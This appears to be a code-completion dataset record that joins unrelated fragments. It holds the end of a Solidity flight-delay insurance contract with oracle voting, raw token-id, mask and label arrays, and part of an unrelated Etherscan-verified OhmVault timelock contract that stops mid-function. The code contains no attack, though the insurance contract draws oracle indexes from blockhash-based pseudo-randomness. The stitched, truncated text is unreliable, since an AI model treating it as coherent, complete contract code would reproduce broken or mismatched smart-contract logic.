}
/**
* An airline has voted for another airline to join group
*/
function registerVote(uint256 idx, address _voter)
external
requireAuthorizedCaller
requireIsOperational
{
// Airline has had at least one registration request
// Incrementing by 1 vote..
airlines[idx].votes++;
// Record vote
airlines[idx].voters[_voter] = true;
}
/**
* Return count of votes for specified airline
*/
function airlineVotes(uint256 idx)
external
view
returns (uint256)
{
return airlines[idx].votes;
}
/**
* Update status of a listed airline to Registered
*/
function registerAirline(uint256 idx)
external
requireAuthorizedCaller
requireIsOperational
{
airlines[idx].isRegistered = true;
}
/**
* Count the number of airlines that are actually registered
*/
function registeredAirlinesCount()
external
view
returns (uint256)
{
uint256 registered = 0;
for (uint i = 0; i < airlineCount; i++) {
if (airlines[i].isRegistered) {
registered++;
}
}
return registered;
}
// Add a flight schedule to an airline
function registerFlight(address _airline,
string _flight,
uint256 _timestamp)
external
requireIsOperational
requireAuthorizedCaller
{
bytes32 flightKey = getFlightKey(_airline, _flight, _timestamp);
flights[flightKey] = Flight({airline : _airline, departureTimestamp : _timestamp, statusCode : 0});
}
/**
* @dev Buy insurance for a flight
*
*/
function buy
(address passenger,
address _airline,
string _flight,
uint256 _timestamp
)
external
payable
requireIsOperational
requireAuthorizedCaller
{
bytes32 flightKey = getFlightKey(_airline, _flight, _timestamp);
Flight memory flight = flights[flightKey];
require(address(flight.airline) != address(0), 'Flight does not exist');
Insurance memory _insurance = Insurance({flightKey : flightKey, passenger : passenger, payment : msg.value});
insurance.push(_insurance);
}
/**
* @dev Credits payouts to insurees at 1.5x the original payment
*/
function creditInsurees
(
address airline,
string flight,
uint256 timestamp,
uint256 multiplyBy,
uint256 divideBy
)
internal
requireAuthorizedCaller
requireIsOperational
{
bytes32 delayedFlightKey = getFlightKey(airline, flight, timestamp);
uint256 i = 0;
uint256 totalRecords = insurance.length;
while (i < totalRecords) {
Insurance memory _insurance = insurance[i];
if (_insurance.flightKey == delayedFlightKey) {
address passenger = _insurance.passenger;
// Compensation determined using rationals
uint256 compensation = _insurance.payment.mul(multiplyBy).div(divideBy);
passengerCredit[passenger] += _insurance.payment.add(compensation);
// ..and remove insurance record to prevent possible double-spend
delete insurance[i];
}
i++;
}
}
// Called after oracle has updated flight status
function processFlightStatus
(
address airline,
string flight,
uint256 timestamp,
uint8 statusCode,
uint8 multiplyBy,
uint8 divideBy,
uint8 payoutCode
)
public
requireAuthorizedCaller
requireIsOperational
{
bytes32 flightKey = getFlightKey(airline, flight, timestamp);
flights[flightKey].statusCode = statusCode;
if (statusCode == payoutCode) {
creditInsurees(airline, flight, timestamp, multiplyBy, divideBy);
}
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay
(address passenger
)
external
requireAuthorizedCaller
requireIsOperational
{
uint256 amount = passengerCredit[passenger];
passengerCredit[passenger] = 0;
passenger.transfer(amount);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund
(address airlineAddr)
public
payable
requireAuthorizedCaller
requireIsOperational
{
uint256 idx = findAirline(airlineAddr);
if (idx < airlineCount) {
airlines[idx].isFunded = true;
}
}
// Unique hash
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
pure
internal
returns (bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
requireAuthorizedCaller
{
// fund();
}
/**
* @dev Returns true if supplied address matches an airline address
*/
function isAirline(address _airline)
public
view
returns (bool)
{
uint256 idx = findAirline(_airline);
if (idx < airlineCount) {
return true;
}
return false;
}
/**
* @dev Returns true if airline is funded
*/
function isFundedAirline(address _airline)
public
view
returns (bool)
{
uint256 idx = findAirline(_airline);
if (idx < airlineCount) {
return airlines[idx].isFunded;
}
// Airline account doesn't exist
return false;
}
// Generate a request for oracles to fetch flight information
function fetchFlightStatus
(
address airline,
string flight,
uint256 timestamp,
address passenderAddr
)
requireAuthorizedCaller
requireIsOperational
external
{
uint8 index = getRandomIndex(passenderAddr);
// Generate a unique key for storing the request
bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp));
oracleResponses[key] = ResponseInfo({
requester : passenderAddr,
isOpen : true
});
emit OracleRequest(index, airline, flight, timestamp);
}
/**
* Total airlines currently registered or waiting to be registered
*/
function getAirlineCount()
public
view
returns (uint256)
{
return airlineCount;
}
// /**
// * Return an array of the airline accounts
// * which need to be extracted from the airlines struct
// */
// function getAirlines()
// external
// view
// returns (address[50])
// {
// address[50] memory acc;
// uint256 i = 0;
// while (i < airlineCount) {
// acc[i] = airlines[i].airlineAccount;
// i++;
// }
// return acc;
// }
// Register an oracle with the contract
function registerOracle
(address oracleAddr
)
external
payable
requireIsOperational
requireAuthorizedCaller
{
uint8[3] memory indexes = generateIndexes(oracleAddr);
Oracle memory newOracle = Oracle({
isRegistered : true,
indexes : indexes
});
oracles[oracleAddr] = newOracle;
}
function getMyIndexes
(address oracleAddr
)
view
public
returns (uint8[3] memory)
{
require(oracles[oracleAddr].isRegistered, "Not registered as an oracle");
return oracles[oracleAddr].indexes;
}
// Called by oracle when a response is available to an outstanding request
// For the response to be accepted, there must be a pending request that is open
// and matches one of the three Indexes randomly assigned to the oracle at the
// time of registration (i.e. uninvited oracles are not welcome)
//
// Multiple/divide numbers provide a method to get percentage amounts of credit
function submitOracleResponse
(
uint8 index,
address airline,
string flight,
uint256 timestamp,
uint8 statusCode,
uint256 min_responses,
address oracleAddr,
uint8 multiplyBy,
uint8 divideBy,
uint8 payoutCode
)
external
requireIsOperational
requireAuthorizedCaller
{
require((oracles[oracleAddr].indexes[0] == index) || (oracles[oracleAddr].indexes[1] == index) || (oracles[oracleAddr].indexes[2] == index), "Index does not match oracle request");
bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp));
require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request");
oracleResponses[key].responses[statusCode].push(oracleAddr);
// Information isn't considered verified until at least MIN_RESPONSES
// oracles respond with the *** same *** information
emit OracleReport(airline, flight, timestamp, statusCode);
if (oracleResponses[key].responses[statusCode].length >= min_responses) {
emit FlightStatusInfo(airline, flight, timestamp, statusCode);
// Handle flight status as appropriate
this.processFlightStatus(airline, flight, timestamp, statusCode, multiplyBy, divideBy, payoutCode);
}
}
// Returns array of three non-duplicating integers from 0-9
function getRandomIndex
(
address account
)
internal
returns (uint8)
{
uint8 maxValue = 10;
// Pseudo random number...the incrementing nonce adds variation
uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number), nonce++, account))) % maxValue);
if (nonce > 250) {
nonce = 0;
// Can only fetch blockhashes for last 256 blocks so we adapt
}
return random;
}
// Returns array of three non-duplicating integers from 0-9
function generateIndexes
(
address account
)
internal
returns (uint8[3] memory)
{
uint8[3] memory indexes;
indexes[0] = getRandomIndex(account);
indexes[1] = indexes[0];
while (indexes[1] == indexes[0]) {
indexes[1] = getRandomIndex(account);
}
indexes[2] = indexes[1];
while ((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) {
indexes[2] = getRandomIndex(account);
}
return indexes;
}
}
| List of passenger insurance
| Insurance[] private insurance; | 2,523,495 | [
1,
682,
434,
1342,
14348,
2763,
295,
1359,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
657,
10050,
1359,
8526,
3238,
2763,
295,
1359,
31,
1171,
9079,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-05
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// XXX: import "./SafeMath.sol";
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 12 hours;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
// XXX: function() external payable { }
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
interface IStaking {
function stake(uint _amount, address _recipient) external returns (bool);
function claim(address _recipient) external;
function unstake(uint _amount, bool _trigger) external;
}
interface IUniswapV2Router {
function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
}
contract OhmVault is Timelock, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public ohm = 0x383518188C0C6d7730D91b2c03a03C837814a899;
address public sohm = 0x04F2694C8fcee23e8Fd0dfEA1d4f5Bb8c352111F;
address public staking = 0xFd31c7d00Ca47653c6Ce64Af53c1571f9C36566a;
address public router = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // Sushi Router
mapping(address => bool) public tokenList;
modifier onlyTimelock() {
require(msg.sender == address(this), "Timelock: caller is not the timelock");
_;
}
event Stake(uint256 _amount);
event Unstake(uint256 _amount);
event Swap(address indexed _tokenA, address indexed _tokenB, uint256 _amountIn, uint256 _amountOut);
event AddTokenList(address indexed _token);
event RemoveTokenList(address indexed token);
// ------------------------------
// contruct
// ------------------------------
constructor(uint256 _timelock_delay) Timelock(_msgSender(), _timelock_delay) {
// initial token list
tokenList[ohm] = true;
tokenList[0x6B175474E89094C44Da98b954EedeAC495271d0F] = true; // DAI
}
// ------------------------------
// onlyOwner
// ------------------------------
function stake(uint256 _amount) external onlyOwner {
// approve
IERC20(ohm).safeApprove(staking, _amount);
// stake
